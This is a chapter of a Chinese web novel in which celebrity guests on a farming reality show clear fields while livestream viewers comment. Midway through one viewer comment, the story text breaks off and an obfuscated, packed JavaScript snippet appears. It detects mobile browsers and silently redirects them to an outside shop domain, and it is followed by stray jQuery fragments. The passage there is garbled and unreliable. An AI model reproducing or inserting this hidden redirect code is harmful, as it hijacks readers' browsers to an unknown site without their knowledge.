单楚堃心中的疑惑终于明了,她刚才就觉得两个任务的工作量不大对等,原来导演在这儿等着呢。
那块地看样子荒了一段时间了,要先花时间除草松土,然后才能在上面种植。
周煜:“赵导,这不是荒地吗,在荒地上怎么种菜?”
赵导解释说:“这地原本是村里一户人家的,他们搬去了城里,地就一直闲着,村长不想看到宝贵的耕地被浪费,就委托大家种菜了。放心,这地土壤没问题,只是长了些杂草,你们清理之后就能正常种菜。”
种菜组四人看着半人高的杂草,心中畅想的田园美梦在逐渐破碎。
“要不……我们还是抽签决定任务吧。”李柱洋小声提议。
“这不好吧,”赵赞铭犹豫着说,“刚才是我们先选择了任务,怎么能出尔反尔。”
陈素云也坚决不同意,语气很激烈:“哪有这样做事的,是你们自己要种菜的,我们也没跟你们抢,小单连我们的工作安排都想好了,现在你们发现种菜太难,又想要重新抽签,这不是耍我们玩吗。”
李柱洋被陈素云老前辈骂,不敢回嘴,只能咕哝着抱怨:“谁让节目组没提前把情况说清楚,种菜就种菜,结果塞给我们一块破荒地,太为难人了。”
周煜不敢像李柱洋那样公然反悔,但她心中对种地的浪漫畅想有些崩塌。
在她想象中,种地应该是亲手将嫩绿的秧苗埋进泥土中,是拿着小水桶为幼苗浇水,是亲手采摘成熟的蔬菜和果实……
节目拍出来的画面,应该是唯美的田园牧歌,会让所有观众都向往治愈的农村生活。
可现在而不是像现在这般,四个人在野地里除草开荒,毫无美感可言。
思考片刻后,周煜提出了自己的疑问:“我们是个综艺节目,拍摄内容应该让观众看了感到美好,像是种玉米或者除草开荒,都是不断重复枯燥的劳动,剪辑出来会不会很无趣?”
赵导笑了一下,回道:“除草、耕地、播种、施肥,这些都是农民必须进行的劳动,没有有趣或无趣的区分。”
单楚堃接着赵导的话说道:“种地本就是无趣的,一年到头也就两三次播种和收获,大部分时间都是面朝黄土背朝天,所谓的美好,只是漫长的枯燥中夹杂的瞬间。我想观众并不想看到我们只体验那些瞬间,而是想让我们体会农民日常生活中点点滴滴的辛劳。”
赵导惊喜地看向单楚堃,这就是他办这个节目的初衷啊,不是浅尝辄止地体验,而是通过明星的深度参与,挖掘每个行业日常的酸甜苦辣。
没想到最先理解节目主旨的人,竟然是这个他拿来凑数的劣迹女明星,这倒是让赵导对单楚堃有些刮目相看。
直播间此时也激烈讨论起来。
【又要上价值了吗?综艺不就看个乐子,塞这么多价值不是给观众添堵吗。】
【我觉得赵导的初衷没错,总比做个明星下凡的综艺要好,而且他的节目都是通过镜头说话,观众自然而然就get到他想表达的观点了,这并不是刻板说教。】
【感觉周煜李柱洋他们对节目理解有偏差,他们想通过节目表现自己多努力,赵导则想通过节目展示劳动者的生活。】
【我父母都是种地的,单楚堃能站在普通农民角度说话,我觉得这比大部分明星强了。】
【一套组合拳给劈腿姐洗白?】
【不喜欢单楚堃可以,但不可否认她的话没错。】
“单楚堃说得很好,”赵导说道,“各位嘉宾请记住,你们不只是体验者,更是探索者,观众要通过你们的视角,平等地去了解其他劳动行业。”
种菜组四人没有再说什么,周煜也微低下头。
她是带着目的参加这档综艺的,她想要争取镜头,也想要让大家看到她的努力,她不认为自己有多么高尚,但赵导的话触及了她从未思考过的角度,她心里有种说不出的滋味。
*
节目组依旧设了两个直播间,分别直播两组嘉宾干活。
时间还早,但太阳已经很毒辣,嘉宾们防晒套装穿在身上,镜头远远扫过去,根本看不出谁是谁。
赵导告诉嘉宾们,如果有什么不懂的,可以聘请村民作为场外援助,50块钱讲解半小时,考虑到节目组给的经费有限,两组嘉宾暂时都没打算花这个钱。
单楚堃组四人拿着工具走进他们的地里,昨天硕果累累的麦田,如今只剩下一地七倒八歪的麦茬。
“种玉米前要把麦茬清理了,”单楚堃挥起锄头做了下示范,“就像这样连根挖起,如果有土块,就顺便用锄头锤散,之后用耙子把秸秆耙到一起,集中清理了就行。快的话,这个工作我们四个人今天就能完成。”
涂靖看向单楚堃:“你是怎么知道这么多的,确定我们真的不需要找外援指导一下?”
单楚堃狡黠笑道:“我本是仙界种植仙草的小药童,只因不小心养死了一株灵参,才被仙君罚下凡间,成为了一名籍籍无名的小演员,但上辈子种地的本事刻在了我的灵魂里,如此,你还要质疑我的能力吗?”
“啊……这都什么跟什么?”涂靖一脸懵,眼睛眨巴着扫过另外三人。
陈素云和张高宁看着他的样子笑得不行,张高宁拍了拍他的肩膀:“反正不管种什么,都要先耕地,抓紧时间干吧。”
镜头给了个全景拍摄嘉宾们干活,直播间像监控视频似的,非常安静,两个组的直播间热度都下降了许多。
偶尔有新进直播间的观众,看见这画面都有点懵。
【这是综艺直播?还以为谁给我家村头装了个摄像头呢,嘉宾是真干活啊。】
【给新来的朋友解释下,嘉宾的任务是种两块地,大家都在认真地干活,所以直播内容有些单调,但之后节目组也会剪正片,内容会相对丰富一些。】
【他们这装扮完美融入了,我还以为我误入了农业频道,不会一期节目下来,露脸镜头没多少吧哈哈哈哈。】
【裹得太严实,这都是谁啊?】
【这是玉米组的直播间,离镜头最近的那两人分别是涂靖和张高宁,中间干活最快的是单楚堃,后边那个人是陈素云老师。】
【之前有人说单楚堃会割麦子是提前练习的,怎么我看她锄地也挺快的,总不能也是提前练习吧?】
【拼速度谁不会,质量肯定不行,别人都挺费劲的样子,就她吊儿郎当的,根本没用劲吧。】
【你这么一说确实有道理,看我盆儿哥和涂靖那动作幅度,再看她,肯定是在偷懒。】
弹幕讨论越来越多,这时直播镜头也动了起来,工作人员带着设备走到田里,给大家拍摄近景画面。
镜头拍到前面的涂靖,他正埋头对付地上的麦茬,手中的锄头高高举起,又重重落下,每一下都使足了力气。
他锄地没什么技巧可言,锄刃落下时卡进土里,他便靠着蛮力向后硬拽。锄头的落点也随意而杂乱,这一下那一下,地上留下了深浅不一的土坑,翻起的土块凌乱散落着,而土坑周围的地面依旧是硬的。
看到直播镜头拍过来,涂靖指了指自己身上被汗水浸湿的衣服:“看到没,都是汗,太热太辛苦了,不过后面那片地是我弄的,厉不厉害。”
说着他还扬起头,挑了挑眉,朝镜头眨了个眼。
【谢谢,有被油到。】
【我没种过地,但锄头是这样用的吗?怎么感觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965307|214477||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他这么费劲。】
【涂靖啊,你是要均匀地把土翻松,不是在地上刨坑,你看这地跟被狗刨了似的。】
【是我的错觉吗,我怎么感觉涂宝儿动作像憨豆一样夸张搞笑。】
【不是你的错觉,他现在的肢体动作就是很好笑。】
工作人员拿着直播设备继续往前走,来到了张高宁旁边。
他这里情况比涂靖好一些,至少他的地翻得很均匀,没有东凹一块西凸一块。
画面转到张高宁的脸,他眉头紧皱,额头的汗珠凝聚滑落,注意到有人在拍,他故作轻松地朝镜头挥了挥手。
拍过张高宁之后,工作人员正打算离开,就在他刚侧过身时,一个黑色的东西直冲他飞过来,眼看就要砸到他身上,他赶紧抱紧拍摄设备向旁边闪躲,连人带设备摔倒在田里。
直播画面转了几个圈,观众都在问发生什么了。
砰的一声,重物随之掉落在地上,侥幸脱险的工作人员定睛一看,那东西竟是金属的锄头刃。
再往旁边看去,张高宁手里攥着一节光秃秃的木头长柄,愣愣地看过来,惊魂未定。
张高宁惊恐地朝工作人员飞奔过来:“没事吧?没砸到你吧?”
工作人员借着张高宁的手站起身,松了一口气道:“还好还好,设备没出问题。”
“真是对不起,这锄头突然就断了,我一甩它就飞了出去。”张高宁连忙低头道歉。
观众也直后怕,忍不住打趣:
【不愧是你盆儿哥,到哪里都有戏唱。】
【大胆锄头,竟敢陷害我盆儿哥。】
【打工人摔倒后第一件事竟然是检查设备坏没坏,泪目了。】
确认过工作人员没事后,张高宁换了把锄头继续干活,而工作人员迅速远离了他的“攻击范围”,转去另一边拍摄单楚堃。
对比涂靖和张高宁狰狞的动作,单楚堃这边的画风要正常许多。
一抬一落,锄头在她柔韧的力道下砸入土中,又被她向上撬起,一块硬土连同麦茬的根就被翻了出来,紧接着她用锄头侧边敲散翻出的土块,再拨匀。
她的动作节奏快速又轻巧,看着似乎并未使用太多力气,但每一下都落到最恰当的位置,仿佛这种活对她来说早已熟稔于心。
经她处理过的土地,表面均匀松散,板结的土块也都被打散,土壤呈现湿润的深褐色,散发着潮湿的泥土味。
单楚堃额头上的汗凝聚滑落,上衣前胸部分也已经湿透,但她面色始终平静,一双眼眸也波澜不惊,甚至有种沉浸的专注。
如果只看背影的话,会觉得她就是名普通的老农,正在自己世代相依的土地上进行最平常的劳作。
【为什么单楚堃动作很轻松的感觉,但是翻出来的地比涂靖和盆儿哥翻的平整很多,对我这个强迫症人士很友好。】
【谁说单楚堃只是速度快,质量不行的,这不是挺好的。】
【之前我也以为单楚堃会干农活是提前练过,但看她翻地后,我觉得她是个熟练工。】
【单楚堃是农村的出身,我有确凿证据。】
【我去,什么证据啊?】
【我在微博扒到一个疑似单楚堃老粉的号,有个几年前帖子下边有人评论说自己和单楚堃都曾在良城五中的就读,初中是划区域入学,良城五中的生源都来自周围乡镇。】
【怪不得我觉得她特别low,原来是个农村人呐[撇嘴]】
【农村人又怎么你了,你祖上三代不是农村的,拿这出身嘲笑别人,你就不low吗?】
【这是重大发现啊,所以说她会干农活根本不是节目组安排,而是本身就是农民孩子。】